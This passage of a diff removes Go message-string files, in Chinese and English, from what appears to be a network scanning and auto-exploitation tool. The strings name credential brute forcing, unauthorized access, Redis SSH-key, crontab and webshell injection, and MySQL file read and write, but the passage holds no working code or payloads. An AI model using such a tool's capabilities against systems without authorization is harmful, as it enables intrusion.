LangZH: "连接超时: %v",
LangEN: "Connection timeout: %v",
},
"network_web_timeout": {
LangZH: "Web超时: %v",
LangEN: "Web timeout: %v",
},
// ========================= 代理系统消息 =========================
"proxy_init_start": {
LangZH: "初始化代理系统",
LangEN: "Initializing proxy system",
},
"proxy_init_success": {
LangZH: "代理系统初始化成功",
LangEN: "Proxy system initialized successfully",
},
"proxy_init_failed": {
LangZH: "初始化代理配置失败: %v",
LangEN: "Failed to initialize proxy configuration: %v",
},
"proxy_config_sync_failed": {
LangZH: "代理配置同步失败: %v",
LangEN: "Failed to sync proxy configuration: %v",
},
"proxy_enabled": {
LangZH: "代理已启用: %s %s",
LangEN: "Proxy enabled: %s %s",
},
"proxy_disabled": {
LangZH: "代理已禁用",
LangEN: "Proxy disabled",
},
"proxy_connection_failed": {
LangZH: "代理连接失败: %v",
LangEN: "Proxy connection failed: %v",
},
"socks5_create_failed": {
LangZH: "创建SOCKS5连接失败: %v",
LangEN: "Failed to create SOCKS5 connection: %v",
},
"tls_conn_failed": {
LangZH: "TLS连接失败: %v",
LangEN: "TLS connection failed: %v",
},
}

View File

@ -1,109 +0,0 @@
package messages
/*
output.go - 输出相关消息
包含输出系统文件保存格式化等相关的
国际化消息定义
*/
// OutputMessages 输出相关消息
var OutputMessages = map[string]map[string]string{
// ========================= 输出系统消息 =========================
"output_init_start": {
LangZH: "初始化输出系统",
LangEN: "Initializing output system",
},
"output_init_success": {
LangZH: "输出系统初始化成功",
LangEN: "Output system initialized successfully",
},
"output_init_failed": {
LangZH: "输出系统初始化失败: %v",
LangEN: "Failed to initialize output system: %v",
},
"output_format_invalid": {
LangZH: "无效的输出格式: %s",
LangEN: "Invalid output format: %s",
},
"output_path_empty": {
LangZH: "输出路径为空",
LangEN: "Output path is empty",
},
"output_not_init": {
LangZH: "输出系统未初始化",
LangEN: "Output system not initialized",
},
"output_saving_result": {
LangZH: "保存扫描结果: %s -> %s",
LangEN: "Saving scan result: %s -> %s",
},
"output_save_failed": {
LangZH: "保存结果失败: %v",
LangEN: "Failed to save result: %v",
},
"output_closing": {
LangZH: "关闭输出系统",
LangEN: "Closing output system",
},
"output_closed": {
LangZH: "输出系统已关闭",
LangEN: "Output system closed",
},
"output_close_failed": {
LangZH: "关闭输出系统失败: %v",
LangEN: "Failed to close output system: %v",
},
"output_config_nil": {
LangZH: "配置不能为空",
LangEN: "Configuration cannot be nil",
},
"output_unsupported_format": {
LangZH: "不支持的输出格式: %s",
LangEN: "Unsupported output format: %s",
},
"output_writer_init_failed": {
LangZH: "初始化写入器失败: %v",
LangEN: "Failed to initialize writer: %v",
},
"output_writer_closed": {
LangZH: "写入器已关闭",
LangEN: "Writer is closed",
},
"output_manager_not_init": {
LangZH: "输出管理器未初始化",
LangEN: "Output manager not initialized",
},
"output_manager_closed": {
LangZH: "输出管理器已关闭",
LangEN: "Output manager is closed",
},
"output_write_failed": {
LangZH: "写入结果失败: %v",
LangEN: "Failed to write result: %v",
},
"output_flush_failed": {
LangZH: "刷新写入器失败: %v",
LangEN: "Failed to flush writer: %v",
},
"output_create_file_failed": {
LangZH: "创建%s文件失败: %v",
LangEN: "Failed to create %s file: %v",
},
"output_write_header_failed": {
LangZH: "写入CSV头部失败: %v",
LangEN: "Failed to write CSV header: %v",
},
"output_open_file_failed": {
LangZH: "打开CSV文件失败: %v",
LangEN: "Failed to open CSV file: %v",
},
"output_read_file_failed": {
LangZH: "读取CSV文件失败: %v",
LangEN: "Failed to read CSV file: %v",
},
"output_parse_time_failed": {
LangZH: "无法解析时间: %s",
LangEN: "Failed to parse time: %s",
},
}

View File

@ -1,287 +0,0 @@
package messages
/*
parse.go - 解析相关消息
包含参数解析目标解析凭据解析等相关的
国际化消息定义
*/
// ParseMessages 解析相关消息
var ParseMessages = map[string]map[string]string{
// ========================= 解析错误消息 =========================
"parse_error_empty_input": {
LangZH: "输入参数为空",
LangEN: "Input parameters are empty",
},
"parse_error_config_failed": {
LangZH: "解析配置失败: %v",
LangEN: "Failed to parse configuration: %v",
},
"parse_error_parser_not_init": {
LangZH: "解析器未初始化",
LangEN: "Parser not initialized",
},
"parse_error_credential_failed": {
LangZH: "凭据解析失败: %v",
LangEN: "Failed to parse credentials: %v",
},
"parse_error_target_failed": {
LangZH: "目标解析失败: %v",
LangEN: "Failed to parse targets: %v",
},
"parse_error_network_failed": {
LangZH: "网络解析失败: %v",
LangEN: "Failed to parse network configuration: %v",
},
"parse_error_validation_failed": {
LangZH: "验证失败: %v",
LangEN: "Validation failed: %v",
},
"parse_error_update_vars_failed": {
LangZH: "更新全局变量失败: %v",
LangEN: "Failed to update global variables: %v",
},
"parse_error_target_empty": {
LangZH: "目标输入为空",
LangEN: "Target input is empty",
},
"parse_error_credential_empty": {
LangZH: "凭据输入为空",
LangEN: "Credential input is empty",
},
"parse_error_network_empty": {
LangZH: "网络配置为空",
LangEN: "Network configuration is empty",
},
"parse_error_invalid_ip": {
LangZH: "无效的IP地址: %s",
LangEN: "Invalid IP address: %s",
},
"parse_error_invalid_port": {
LangZH: "无效的端口: %s",
LangEN: "Invalid port: %s",
},
"parse_error_invalid_url": {
LangZH: "无效的URL: %s",
LangEN: "Invalid URL: %s",
},
"parse_error_file_not_found": {
LangZH: "文件未找到: %s",
LangEN: "File not found: %s",
},
"parse_error_file_read_failed": {
LangZH: "读取文件失败: %s",
LangEN: "Failed to read file: %s",
},
// ========================= 目标解析消息 =========================
"target_parse_start": {
LangZH: "开始解析目标",
LangEN: "Starting target parsing",
},
"target_parse_complete": {
LangZH: "目标解析完成",
LangEN: "Target parsing completed",
},
"target_hosts_found": {
LangZH: "目标主机: %s",
LangEN: "Target hosts: %s",
},
"target_hosts_count": {
LangZH: "目标主机: %s ... (共%d个)",
LangEN: "Target hosts: %s ... (total %d)",
},
"target_urls_found": {
LangZH: "目标URL: %s",
LangEN: "Target URLs: %s",
},
"target_urls_count": {
LangZH: "目标URL: %s ... (共%d个)",
LangEN: "Target URLs: %s ... (total %d)",
},
"target_ports_found": {
LangZH: "扫描端口: %s",
LangEN: "Scan ports: %s",
},
"target_ports_count": {
LangZH: "扫描端口: %s ... (共%d个)",
LangEN: "Scan ports: %s ... (total %d)",
},
"target_exclude_ports": {
LangZH: "排除端口: %s",
LangEN: "Exclude ports: %s",
},
"target_local_mode": {
LangZH: "本地扫描模式",
LangEN: "Local scan mode",
},
// ========================= 凭据相关消息 =========================
"credential_username_count": {
LangZH: "用户名数量: %d",
LangEN: "Username count: %d",
},
"credential_password_count": {
LangZH: "密码数量: %d",
LangEN: "Password count: %d",
},
"credential_hash_count": {
LangZH: "Hash数量: %d",
LangEN: "Hash count: %d",
},
// ========================= Parsers包专用消息 =========================
"parser_validation_input_empty": {
LangZH: "验证输入为空",
LangEN: "Validation input is empty",
},
"parser_empty_input": {
LangZH: "输入参数为空",
LangEN: "Input parameters are empty",
},
"parser_file_empty": {
LangZH: "文件名为空",
LangEN: "File name is empty",
},
"parser_file_too_big": {
LangZH: "文件过大: %d bytes, 最大限制: %d bytes",
LangEN: "File too large: %d bytes, max limit: %d bytes",
},
"parser_cannot_open_file": {
LangZH: "无法打开文件",
LangEN: "Cannot open file",
},
"parser_file_not_exists": {
LangZH: "文件不存在或无法访问",
LangEN: "File does not exist or cannot be accessed",
},
"parser_file_read_timeout": {
LangZH: "文件读取超时",
LangEN: "File read timeout",
},
"parser_file_scan_failed": {
LangZH: "文件扫描失败",
LangEN: "File scan failed",
},
"parser_username_too_long": {
LangZH: "用户名过长: %d字符最大允许: %d",
LangEN: "Username too long: %d characters, max allowed: %d",
},
"parser_username_invalid_chars": {
LangZH: "用户名包含非法字符",
LangEN: "Username contains invalid characters",
},
"parser_password_empty": {
LangZH: "不允许空密码",
LangEN: "Empty passwords not allowed",
},
"parser_password_too_long": {
LangZH: "密码过长: %d字符最大允许: %d",
LangEN: "Password too long: %d characters, max allowed: %d",
},
"parser_hash_empty": {
LangZH: "哈希值为空",
LangEN: "Hash value is empty",
},
"parser_hash_invalid_format": {
LangZH: "哈希值格式无效需要32位十六进制字符",
LangEN: "Invalid hash format, requires 32-character hexadecimal",
},
"parser_proxy_url_invalid": {
LangZH: "代理URL格式无效: %v",
LangEN: "Invalid proxy URL format: %v",
},
"parser_proxy_protocol_unsupported": {
LangZH: "不支持的代理协议: %s",
LangEN: "Unsupported proxy protocol: %s",
},
"parser_proxy_host_empty": {
LangZH: "代理主机名为空",
LangEN: "Proxy hostname is empty",
},
"parser_proxy_port_invalid": {
LangZH: "代理端口号无效: %s",
LangEN: "Invalid proxy port: %s",
},
"parser_proxy_port_out_of_range": {
LangZH: "代理端口号超出范围: %d",
LangEN: "Proxy port out of range: %d",
},
"parser_proxy_insecure": {
LangZH: "不允许使用不安全的HTTP代理",
LangEN: "Insecure HTTP proxy not allowed",
},
"parser_user_agent_too_long": {
LangZH: "用户代理字符串过长",
LangEN: "User agent string too long",
},
"parser_user_agent_invalid_chars": {
LangZH: "用户代理包含非法字符",
LangEN: "User agent contains invalid characters",
},
"parser_cookie_too_long": {
LangZH: "Cookie字符串过长",
LangEN: "Cookie string too long",
},
"parser_error_count_limit": {
LangZH: "错误数量过多,仅显示前%d个",
LangEN: "Too many errors, showing only first %d",
},
"parser_no_scan_target": {
LangZH: "未指定任何扫描目标",
LangEN: "No scan targets specified",
},
"parser_no_target_default": {
LangZH: "未指定扫描目标,将使用默认配置",
LangEN: "No scan targets specified, using default configuration",
},
"parser_multiple_scan_modes": {
LangZH: "不能同时使用多种扫描模式",
LangEN: "Cannot use multiple scan modes simultaneously",
},
"parser_proxy_ping_warning": {
LangZH: "使用代理时建议禁用Ping检测",
LangEN: "Recommend disabling Ping detection when using proxy",
},
"parser_multiple_modes_conflict": {
LangZH: "不能同时指定多种扫描模式(主机扫描、URL扫描、本地模式)",
LangEN: "Cannot specify multiple scan modes (host scan, URL scan, local mode) simultaneously",
},
"parser_proxy_ping_fail": {
LangZH: "代理模式下Ping检测可能失效",
LangEN: "Ping detection may fail in proxy mode",
},
"parser_exclude_ports_invalid": {
LangZH: "排除端口无效",
LangEN: "Exclude ports invalid",
},
"parser_many_targets_warning": {
LangZH: "大量目标(%d),可能耗时较长",
LangEN: "Large number of targets (%d), may take a long time",
},
"parser_too_many_ports": {
LangZH: "端口数量过多",
LangEN: "Too many ports",
},
"parser_timeout_too_short": {
LangZH: "超时过短",
LangEN: "Timeout too short",
},
"parser_timeout_too_long": {
LangZH: "超时过长",
LangEN: "Timeout too long",
},
"parser_invalid_scan_mode": {
LangZH: "无效的扫描模式: %s",
LangEN: "Invalid scan mode: %s",
},
"parse_error_invalid_target_format": {
LangZH: "无效的目标地址格式: %s",
LangEN: "Invalid target address format: %s",
},
"parse_error_no_hosts": {
LangZH: "解析后没有找到有效的目标主机",
LangEN: "No valid target hosts found after parsing",
},
}

View File

@ -1,903 +0,0 @@
package messages
/*
plugins.go - 插件相关消息
包含新插件架构中各种插件的国际化消息定义
包括扫描利用认证等相关消息
*/
// PluginMessages 插件相关消息
var PluginMessages = map[string]map[string]string{
// ========================= 通用插件消息 =========================
"plugin_init": {
LangZH: "初始化插件: %s",
LangEN: "Initializing plugin: %s",
},
"plugin_scan_start": {
LangZH: "开始%s插件扫描: %s",
LangEN: "Starting %s plugin scan: %s",
},
"plugin_scan_success": {
LangZH: "%s扫描成功: %s",
LangEN: "%s scan successful: %s",
},
"plugin_scan_failed": {
LangZH: "%s插件扫描失败: %v",
LangEN: "%s plugin scan failed: %v",
},
"plugin_exploit_start": {
LangZH: "开始%s自动利用: %s",
LangEN: "Starting %s auto exploitation: %s",
},
"plugin_exploit_success": {
LangZH: "%s利用成功: %s",
LangEN: "%s exploitation successful: %s",
},
"plugin_exploit_failed": {
LangZH: "%s利用失败: %v",
LangEN: "%s exploitation failed: %v",
},
// ========================= 通用成功消息模板 =========================
"plugin_login_success": {
LangZH: "%s弱密码: %s [%s:%s]",
LangEN: "%s weak password: %s [%s:%s]",
},
"plugin_login_success_passwd_only": {
LangZH: "%s弱密码: %s [%s]",
LangEN: "%s weak password: %s [%s]",
},
"plugin_unauthorized_access": {
LangZH: "%s未授权访问: %s",
LangEN: "%s unauthorized access: %s",
},
// ========================= 利用(Exploit)消息模板 =========================
"exploit_weak_password_success": {
LangZH: "%s %s 弱密码利用成功",
LangEN: "%s %s weak password exploit successful",
},
"exploit_unauthorized_success": {
LangZH: "%s %s 未授权访问利用成功",
LangEN: "%s %s unauthorized access exploit successful",
},
"exploit_command_exec_success": {
LangZH: "%s %s 命令执行利用成功",
LangEN: "%s %s command execution exploit successful",
},
"exploit_file_write_success": {
LangZH: "%s %s 文件写入利用成功",
LangEN: "%s %s file write exploit successful",
},
"exploit_sql_injection_success": {
LangZH: "%s %s SQL注入利用成功",
LangEN: "%s %s SQL injection exploit successful",
},
"exploit_data_extraction_success": {
LangZH: "%s %s %s 利用成功",
LangEN: "%s %s %s exploit successful",
},
"exploit_generic_success": {
LangZH: "%s %s %s 利用成功",
LangEN: "%s %s %s exploit successful",
},
"exploit_with_output": {
LangZH: " 输出: %s",
LangEN: " output: %s",
},
"exploit_files_created": {
LangZH: "创建/修改的文件: %v",
LangEN: "Files created/modified: %v",
},
"exploit_shell_obtained": {
LangZH: "获得Shell: %s %s:%d 用户:%s",
LangEN: "Shell obtained: %s %s:%d user:%s",
},
// ========================= 利用方法执行消息 =========================
"exploit_method_trying": {
LangZH: "尝试利用方法: %s",
LangEN: "Trying exploit method: %s",
},
"exploit_method_success": {
LangZH: "利用方法 %s 执行成功",
LangEN: "Exploit method %s executed successfully",
},
"exploit_method_failed": {
LangZH: "利用方法 %s 执行失败: %v",
LangEN: "Exploit method %s failed: %v",
},
"exploit_method_condition_not_met": {
LangZH: "利用方法 %s 前置条件不满足,跳过",
LangEN: "Exploit method %s prerequisites not met, skipping",
},
"exploit_all_methods_failed": {
LangZH: "所有利用方法都失败",
LangEN: "All exploit methods failed",
},
// ========================= MySQL利用方法消息 =========================
"mysql_version_info": {
LangZH: "MySQL版本: %s",
LangEN: "MySQL version: %s",
},
"mysql_current_user": {
LangZH: "当前用户: %s",
LangEN: "Current user: %s",
},
"mysql_current_database": {
LangZH: "当前数据库: %s",
LangEN: "Current database: %s",
},
"mysql_databases_found": {
LangZH: "发现数据库: %s",
LangEN: "Databases found: %s",
},
"mysql_tables_found": {
LangZH: "发现表: %v",
LangEN: "Tables found: %v",
},
"mysql_user_privileges": {
LangZH: "用户权限: %s",
LangEN: "User privileges: %s",
},
"mysql_file_privilege_detected": {
LangZH: "检测到FILE权限可能支持文件操作",
LangEN: "FILE privilege detected, file operations may be supported",
},
"mysql_file_read_success": {
LangZH: "读取文件 %s:\n%s",
LangEN: "File %s read:\n%s",
},
"mysql_file_write_success": {
LangZH: "成功写入文件: %s",
LangEN: "File written successfully: %s",
},
"mysql_no_file_privilege": {
LangZH: "无法读取任何文件可能没有FILE权限",
LangEN: "Cannot read any files, may lack FILE privilege",
},
// ========================= Redis利用方法消息 =========================
"redis_server_info": {
LangZH: "Redis服务器信息: %s",
LangEN: "Redis server info: %s",
},
"redis_config_info": {
LangZH: "Redis配置信息: %s",
LangEN: "Redis config info: %s",
},
"redis_keys_found": {
LangZH: "发现Redis键: %v",
LangEN: "Redis keys found: %v",
},
"redis_backup_created": {
LangZH: "Redis备份创建成功: %s",
LangEN: "Redis backup created: %s",
},
"redis_cron_job_written": {
LangZH: "Cron任务写入成功: %s",
LangEN: "Cron job written successfully: %s",
},
"redis_ssh_key_written": {
LangZH: "SSH密钥写入成功: %s",
LangEN: "SSH key written successfully: %s",
},
"redis_webshell_written": {
LangZH: "Webshell写入成功: %s",
LangEN: "Webshell written successfully: %s",
},
"redis_no_keys_found": {
LangZH: "未发现任何Redis键",
LangEN: "No Redis keys found",
},
"redis_write_failed": {
LangZH: "Redis写入操作失败",
LangEN: "Redis write operation failed",
},
// ========================= 插件架构消息 =========================
"plugin_new_arch_trying": {
LangZH: "尝试使用新插件架构: %s",
LangEN: "Trying new plugin architecture: %s",
},
"plugin_new_arch_success": {
LangZH: "新插件架构处理成功: %s",
LangEN: "New plugin architecture successful: %s",
},
"plugin_new_arch_fallback": {
LangZH: "新插件架构失败,回退到传统实现: %s - %v",
LangEN: "New plugin architecture failed, falling back to legacy: %s - %v",
},
"plugin_legacy_using": {
LangZH: "插件 %s 不支持新架构,使用传统实现",
LangEN: "Plugin %s not supported in new architecture, using legacy",
},
// ========================= MySQL插件消息 =========================
"mysql_scan_start": {
LangZH: "开始MySQL扫描: %s",
LangEN: "Starting MySQL scan: %s",
},
"mysql_scan_success": {
LangZH: "MySQL弱密码扫描成功: %s [%s:%s]",
LangEN: "MySQL weak password scan successful: %s [%s:%s]",
},
"mysql_service_identified": {
LangZH: "MySQL服务识别成功: %s - %s",
LangEN: "MySQL service identified: %s - %s",
},
"mysql_connection_failed": {
LangZH: "MySQL连接失败: %v",
LangEN: "MySQL connection failed: %v",
},
"mysql_auth_failed": {
LangZH: "MySQL认证失败: %v",
LangEN: "MySQL authentication failed: %v",
},
"mysql_exploit_info_gather": {
LangZH: "MySQL信息收集成功",
LangEN: "MySQL information gathering successful",
},
"mysql_exploit_db_enum": {
LangZH: "MySQL数据库枚举成功",
LangEN: "MySQL database enumeration successful",
},
"mysql_exploit_file_write": {
LangZH: "MySQL文件写入成功: %s",
LangEN: "MySQL file write successful: %s",
},
"mysql_exploit_file_read": {
LangZH: "MySQL文件读取成功: %s",
LangEN: "MySQL file read successful: %s",
},
// ========================= Redis插件消息 =========================
"redis_scan_start": {
LangZH: "开始Redis扫描: %s",
LangEN: "Starting Redis scan: %s",
},
"redis_unauth_success": {
LangZH: "Redis未授权访问: %s",
LangEN: "Redis unauthorized access: %s",
},
"redis_weak_pwd_success": {
LangZH: "Redis弱密码扫描成功: %s [%s]",
LangEN: "Redis weak password scan successful: %s [%s]",
},
"redis_service_identified": {
LangZH: "Redis服务识别成功: %s - %s",
LangEN: "Redis service identified: %s - %s",
},
"redis_connection_failed": {
LangZH: "Redis连接失败: %v",
LangEN: "Redis connection failed: %v",
},
"redis_auth_failed": {
LangZH: "Redis认证失败: %v",
LangEN: "Redis authentication failed: %v",
},
"redis_exploit_file_write": {
LangZH: "Redis任意文件写入成功: %s",
LangEN: "Redis arbitrary file write successful: %s",
},
"redis_exploit_ssh_key": {
LangZH: "Redis SSH密钥注入成功",
LangEN: "Redis SSH key injection successful",
},
"redis_exploit_crontab": {
LangZH: "Redis定时任务注入成功",
LangEN: "Redis crontab injection successful",
},
"redis_exploit_data_extract": {
LangZH: "Redis数据提取成功",
LangEN: "Redis data extraction successful",
},
// ========================= SSH插件消息 =========================
"ssh_scan_start": {
LangZH: "开始SSH扫描: %s",
LangEN: "Starting SSH scan: %s",
},
"ssh_key_auth_success": {
LangZH: "SSH密钥认证成功: %s [%s]",
LangEN: "SSH key authentication successful: %s [%s]",
},
"ssh_pwd_auth_success": {
LangZH: "SSH密码认证成功: %s [%s:%s]",
LangEN: "SSH password authentication successful: %s [%s:%s]",
},
"ssh_service_identified": {
LangZH: "SSH服务识别成功: %s - %s",
LangEN: "SSH service identified: %s - %s",
},
"ssh_connection_failed": {
LangZH: "SSH连接失败: %v",
LangEN: "SSH connection failed: %v",
},
"ssh_auth_failed": {
LangZH: "SSH认证失败: %v",
LangEN: "SSH authentication failed: %v",
},
"ssh_key_read_failed": {
LangZH: "读取SSH私钥失败: %v",
LangEN: "Failed to read SSH private key: %v",
},
// ========================= 通用错误消息 =========================
"plugin_brute_disabled": {
LangZH: "暴力破解已禁用",
LangEN: "Brute force disabled",
},
"plugin_no_credentials": {
LangZH: "没有可用的凭据",
LangEN: "No credentials available",
},
"plugin_all_creds_failed": {
LangZH: "所有凭据扫描失败",
LangEN: "All credential scans failed",
},
"plugin_invalid_port": {
LangZH: "无效的端口号: %s",
LangEN: "Invalid port number: %s",
},
"plugin_timeout": {
LangZH: "插件扫描超时",
LangEN: "Plugin scan timeout",
},
"plugin_vuln_found": {
LangZH: "%s发现漏洞: %s - %s",
LangEN: "%s vulnerability found: %s - %s",
},
// ========================= 利用方法名称i18n =========================
"exploit_method_name_information_gathering": {
LangZH: "信息收集",
LangEN: "information_gathering",
},
"exploit_method_name_database_enumeration": {
LangZH: "数据库枚举",
LangEN: "database_enumeration",
},
"exploit_method_name_privilege_check": {
LangZH: "权限检查",
LangEN: "privilege_check",
},
"exploit_method_name_file_read": {
LangZH: "文件读取",
LangEN: "file_read",
},
"exploit_method_name_file_write": {
LangZH: "文件写入",
LangEN: "file_write",
},
"exploit_method_name_arbitrary_file_write": {
LangZH: "任意文件写入",
LangEN: "arbitrary_file_write",
},
"exploit_method_name_ssh_key_write": {
LangZH: "SSH密钥写入",
LangEN: "ssh_key_write",
},
"exploit_method_name_crontab_injection": {
LangZH: "定时任务注入",
LangEN: "crontab_injection",
},
"exploit_method_name_data_extraction": {
LangZH: "数据提取",
LangEN: "data_extraction",
},
"exploit_method_name_system_info": {
LangZH: "系统信息收集",
LangEN: "system_info",
},
"exploit_method_name_command_test": {
LangZH: "命令执行测试",
LangEN: "command_test",
},
// ========================= SSH利用方法消息 =========================
"ssh_command_result": {
LangZH: "%s: %s",
LangEN: "%s: %s",
},
"ssh_test_command": {
LangZH: "执行命令 '%s': %s",
LangEN: "Executed command '%s': %s",
},
"ssh_sudo_check": {
LangZH: "Sudo权限: %s",
LangEN: "Sudo privileges: %s",
},
"ssh_root_access": {
LangZH: "检测到root权限访问",
LangEN: "Root access detected",
},
"ssh_user_groups": {
LangZH: "用户组: %s",
LangEN: "User groups: %s",
},
// ========================= 利用结果消息 =========================
"exploit_result_saved": {
LangZH: "利用结果已保存: %s",
LangEN: "Exploitation result saved: %s",
},
// ========================= ActiveMQ插件消息 =========================
"activemq_scan_start": {
LangZH: "开始ActiveMQ扫描: %s",
LangEN: "Starting ActiveMQ scan: %s",
},
"activemq_stomp_scan_success": {
LangZH: "ActiveMQ弱密码扫描成功(STOMP): %s [%s:%s]",
LangEN: "ActiveMQ weak password scan successful(STOMP): %s [%s:%s]",
},
"activemq_service_identified": {
LangZH: "ActiveMQ服务识别成功: %s (%s) - %s",
LangEN: "ActiveMQ service identified: %s (%s) - %s",
},
"activemq_stomp_auth_success": {
LangZH: "ActiveMQ STOMP认证成功: %s@%s:%d",
LangEN: "ActiveMQ STOMP authentication successful: %s@%s:%d",
},
"activemq_connection_failed": {
LangZH: "ActiveMQ连接失败: %v",
LangEN: "ActiveMQ connection failed: %v",
},
"activemq_auth_failed": {
LangZH: "ActiveMQ认证失败: %v",
LangEN: "ActiveMQ authentication failed: %v",
},
"activemq_stomp_auth_failed": {
LangZH: "ActiveMQ STOMP认证失败: %v",
LangEN: "ActiveMQ STOMP authentication failed: %v",
},
// ActiveMQ利用方法消息
"activemq_exploit_info_gather": {
LangZH: "ActiveMQ信息收集成功",
LangEN: "ActiveMQ information gathering successful",
},
"activemq_exploit_message_enum": {
LangZH: "ActiveMQ消息枚举成功",
LangEN: "ActiveMQ message enumeration successful",
},
"activemq_exploit_queue_mgmt": {
LangZH: "ActiveMQ队列管理成功",
LangEN: "ActiveMQ queue management successful",
},
"activemq_exploit_config_dump": {
LangZH: "ActiveMQ配置转储成功",
LangEN: "ActiveMQ configuration dump successful",
},
"activemq_queues_found": {
LangZH: "发现ActiveMQ队列: %s",
LangEN: "ActiveMQ queues found: %s",
},
"activemq_topics_found": {
LangZH: "发现ActiveMQ主题: %s",
LangEN: "ActiveMQ topics found: %s",
},
"activemq_queue_created": {
LangZH: "成功创建测试队列: %s",
LangEN: "Test queue created successfully: %s",
},
"activemq_message_sent": {
LangZH: "消息发送成功到队列: %s",
LangEN: "Message sent successfully to queue: %s",
},
"activemq_version_info": {
LangZH: "ActiveMQ版本: %s",
LangEN: "ActiveMQ version: %s",
},
"activemq_broker_info": {
LangZH: "ActiveMQ Broker信息: %s",
LangEN: "ActiveMQ Broker info: %s",
},
"activemq_protocol_detected": {
LangZH: "检测到ActiveMQ协议: %s",
LangEN: "ActiveMQ protocol detected: %s",
},
// ActiveMQ利用方法名称
"exploit_method_name_activemq_info_gather": {
LangZH: "信息收集",
LangEN: "Information Gathering",
},
"exploit_method_name_activemq_message_enum": {
LangZH: "消息枚举",
LangEN: "Message Enumeration",
},
"exploit_method_name_activemq_queue_mgmt": {
LangZH: "队列管理",
LangEN: "Queue Management",
},
"exploit_method_name_activemq_config_dump": {
LangZH: "配置转储",
LangEN: "Configuration Dump",
},
// ========================= FTP插件消息 =========================
"ftp_scan_start": {
LangZH: "开始FTP扫描: %s",
LangEN: "Starting FTP scan: %s",
},
"ftp_anonymous_success": {
LangZH: "FTP匿名访问: %s",
LangEN: "FTP anonymous access: %s",
},
"ftp_weak_pwd_success": {
LangZH: "FTP弱密码: %s [%s:%s]",
LangEN: "FTP weak password: %s [%s:%s]",
},
"ftp_service_identified": {
LangZH: "FTP服务识别成功: %s - %s",
LangEN: "FTP service identified: %s - %s",
},
"ftp_connection_failed": {
LangZH: "FTP连接失败: %v",
LangEN: "FTP connection failed: %v",
},
"ftp_auth_failed": {
LangZH: "FTP认证失败: %v",
LangEN: "FTP authentication failed: %v",
},
// FTP利用方法消息
"ftp_exploit_dir_enum": {
LangZH: "FTP目录枚举成功",
LangEN: "FTP directory enumeration successful",
},
"ftp_exploit_file_download": {
LangZH: "FTP文件下载测试成功",
LangEN: "FTP file download test successful",
},
"ftp_exploit_file_upload": {
LangZH: "FTP文件上传测试成功",
LangEN: "FTP file upload test successful",
},
// ========================= IMAP插件消息 =========================
"imap_weak_pwd_success": {
LangZH: "IMAP弱密码: %s [%s:%s]",
LangEN: "IMAP weak password: %s [%s:%s]",
},
"imap_service_identified": {
LangZH: "IMAP服务识别成功: %s - %s",
LangEN: "IMAP service identified: %s - %s",
},
"imap_connection_failed": {
LangZH: "IMAP连接失败: %v",
LangEN: "IMAP connection failed: %v",
},
"imap_auth_failed": {
LangZH: "IMAP认证失败: %v",
LangEN: "IMAP authentication failed: %v",
},
// ========================= Kafka插件消息 =========================
"kafka_weak_pwd_success": {
LangZH: "Kafka弱密码: %s [%s:%s]",
LangEN: "Kafka weak password: %s [%s:%s]",
},
"kafka_unauth_access": {
LangZH: "Kafka服务 %s 无需认证即可访问",
LangEN: "Kafka service %s allows unauthorized access",
},
"kafka_service_identified": {
LangZH: "Kafka服务识别成功: %s - %s",
LangEN: "Kafka service identified: %s - %s",
},
"kafka_connection_failed": {
LangZH: "Kafka连接失败: %v",
LangEN: "Kafka connection failed: %v",
},
"kafka_auth_failed": {
LangZH: "Kafka认证失败: %v",
LangEN: "Kafka authentication failed: %v",
},
"ftp_directory_found": {
LangZH: "发现FTP目录: %s",
LangEN: "FTP directories found: %s",
},
"ftp_file_found": {
LangZH: "发现FTP文件: %s",
LangEN: "FTP files found: %s",
},
"ftp_upload_success": {
LangZH: "FTP文件上传成功: %s",
LangEN: "FTP file upload successful: %s",
},
"ftp_download_success": {
LangZH: "FTP文件下载成功: %s",
LangEN: "FTP file download successful: %s",
},
// FTP利用方法名称
"exploit_method_name_directory_enumeration": {
LangZH: "目录枚举",
LangEN: "Directory Enumeration",
},
"exploit_method_name_file_download_test": {
LangZH: "文件下载测试",
LangEN: "File Download Test",
},
"exploit_method_name_file_upload_test": {
LangZH: "文件上传测试",
LangEN: "File Upload Test",
},
// ========================= LDAP插件消息 =========================
"ldap_weak_pwd_success": {
LangZH: "LDAP弱密码: %s [%s:%s]",
LangEN: "LDAP weak password: %s [%s:%s]",
},
"ldap_anonymous_access": {
LangZH: "LDAP服务 %s 匿名访问成功",
LangEN: "LDAP service %s anonymous access successful",
},
"ldap_service_identified": {
LangZH: "LDAP服务识别成功: %s - %s",
LangEN: "LDAP service identified: %s - %s",
},
"ldap_connection_failed": {
LangZH: "LDAP连接失败: %v",
LangEN: "LDAP connection failed: %v",
},
"ldap_auth_failed": {
LangZH: "LDAP认证失败: %v",
LangEN: "LDAP authentication failed: %v",
},
// ========================= Memcached插件消息 =========================
"memcached_unauth_access": {
LangZH: "Memcached服务 %s 未授权访问成功",
LangEN: "Memcached service %s unauthorized access successful",
},
"memcached_service_identified": {
LangZH: "Memcached服务识别成功: %s - %s",
LangEN: "Memcached service identified: %s - %s",
},
"memcached_connection_failed": {
LangZH: "Memcached连接失败: %v",
LangEN: "Memcached connection failed: %v",
},
// ========================= Modbus插件消息 =========================
"modbus_unauth_access": {
LangZH: "Modbus服务 %s 无认证访问成功",
LangEN: "Modbus service %s unauthorized access successful",
},
"modbus_device_info": {
LangZH: "设备信息: %s",
LangEN: "Device info: %s",
},
"modbus_service_identified": {
LangZH: "Modbus服务识别成功: %s - %s",
LangEN: "Modbus service identified: %s - %s",
},
"modbus_connection_failed": {
LangZH: "Modbus连接失败: %v",
LangEN: "Modbus connection failed: %v",
},
// ========================= MongoDB插件消息 =========================
"mongodb_unauth_access": {
LangZH: "MongoDB服务 %s 未授权访问成功",
LangEN: "MongoDB service %s unauthorized access successful",
},
"mongodb_service_identified": {
LangZH: "MongoDB服务识别成功: %s - %s",
LangEN: "MongoDB service identified: %s - %s",
},
"mongodb_connection_failed": {
LangZH: "MongoDB连接失败: %v",
LangEN: "MongoDB connection failed: %v",
},
"mongodb_auth_failed": {
LangZH: "MongoDB认证失败: %v",
LangEN: "MongoDB authentication failed: %v",
},
// ========================= MSSQL插件消息 =========================
"mssql_auth_success": {
LangZH: "MSSQL服务 %s 认证成功 %s:%s",
LangEN: "MSSQL service %s authentication successful %s:%s",
},
"mssql_service_identified": {
LangZH: "MSSQL服务识别成功: %s - %s",
LangEN: "MSSQL service identified: %s - %s",
},
"mssql_connection_failed": {
LangZH: "MSSQL连接失败: %v",
LangEN: "MSSQL connection failed: %v",
